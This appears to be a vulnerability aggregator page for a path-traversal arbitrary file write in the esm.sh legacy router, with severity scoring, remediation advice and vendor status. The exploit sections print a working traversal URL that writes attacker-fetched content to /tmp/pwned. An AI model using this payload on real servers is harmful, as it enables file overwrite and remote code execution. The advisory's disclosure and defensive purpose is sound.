Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Remote unauthenticated single request (AV:N/AC:L/PR:N/UI:N) yields attacker-controlled arbitrary file write leading to code execution as the server, justifying full C/I/A:H rather than the vendor's integrity-only scoring.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
Lifecycle Timeline
5DescriptionGitHub Advisory
Impact
- Arbitrary File Write - An attacker can cause the server to write data to any file path it has write permission for.
- Privilege Escalation / RCE - By overwriting critical binaries or scripts, the attacker can execute arbitrary code with the server’s privileges.
Exploit
The legacy router first retrieves a response from legacyServer, parses the incoming request path, and ultimately writes the data to storage via buildStorage.Put (see <https://github.com/esm-dev/esm.sh/blob/4312ae93e518121e764a18bb521af12e490ef137/server/legacy_router.go#L291>).
For a URL such as:
http://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwnedthe router concatenates the path components without sanitizing them, producing a storage key like:
legacy/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwnedWhen this key is used, the underlying file system resolves the relative segments and writes the file to /tmp/pwned. Thus an attacker can craft a request that writes data to arbitrary locations on the server.
Details
- URL Construction
A crafted request is sent to the server:
http://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned- Proxy to Legacy Server
The request is forwarded to:
http://legacy.esm.sh/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../tmp/pwnedwhich resolves to:
http://legacy.esm.sh/gh/<attacker>/exp@1171e85d5d/foo.md- File Retrieval
The server fetches foo.md from the GitHub repository https://github.com/<attacker>/exp.
- Path Normalisation & Storage
The storage path derived from the request is:
legacy/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwnedNormalising this path yields /tmp/pwned. The retrieved file content is then written to that location.
- Result
By repeating this pattern, an attacker can overwrite arbitrary binaries or scripts on the server, paving the way for remote code execution.
Credit Discovery To
splitline (@\_splitline\_) from DEVCORE Research Team
AnalysisAI
Arbitrary file write in the esm.sh module CDN server (versions ≤ 137) lets remote unauthenticated attackers write attacker-controlled content to any path the server process can write to, and by overwriting binaries or scripts, escalate to remote code execution with the server's privileges. The flaw lives in the legacy router (legacy_router.go), which concatenates URL-encoded path segments into a storage key without sanitization before calling buildStorage.Put. A detailed, reproducible exploit walkthrough is published in the vendor GHSA advisory, so publicly available exploit code exists; EPSS is low (0.06%, 20th percentile) and the CVE is not on CISA KEV.
Technical ContextAI
esm.sh is a Go-based CDN/build server that transpiles and serves npm and GitHub-hosted ES modules. The vulnerability is a classic CWE-22 path traversal: the legacy compatibility route parses the request path, fetches the referenced module (e.g. from a GitHub repo via the /gh/ prefix), and derives a filesystem storage key of the form 'legacy/<version>/<pkg>/...'. Because URL-encoded traversal sequences (%2f = '/', %23 = '#') and '../' segments are neither decoded-then-validated nor stripped, the resulting key such as 'legacy/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@.../foo.md#/../../../../tmp/pwned' is normalized by the OS filesystem down to an absolute location like /tmp/pwned. The affected package is pkg:go/github.com_esm-dev_esm.sh. The write content is the body of the file fetched from an attacker-controlled GitHub repository, giving the attacker control over both the destination path and the written bytes.
RemediationAI
Vendor-released patch: upgrade to esm.sh v137_3 (Go pseudo-version 0.0.0-20260508100112-1960055e1d53), which adds security hardening for path traversal - preventing traversal in module resolution (PR #1353) and rejecting path-traversal keys in filesystem storage (PR #1351). See the advisory at https://github.com/esm-dev/esm.sh/security/advisories/GHSA-3636-h3vx-6465 and release notes at https://github.com/esm-dev/esm.sh/releases/tag/v137_3. If immediate upgrade is not possible, apply compensating controls: block or reject requests to the legacy /v1xx/ router paths at a reverse proxy (trade-off: breaks legacy module compatibility for older clients), and normalize/decode incoming request paths at the proxy and reject any containing encoded or literal traversal sequences (%2e%2e, %2f, %23, '../'). Additionally, run the esm.sh process as an unprivileged user on a read-only or narrowly-scoped filesystem so an arbitrary write cannot land on an executable path (trade-off: requires the build cache/storage directory to remain the only writable location), which limits the write primitive from escalating to RCE.
Same weakness CWE-22 – Path Traversal
View allSame technique Privilege Escalation
View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-32910
GHSA-3636-h3vx-6465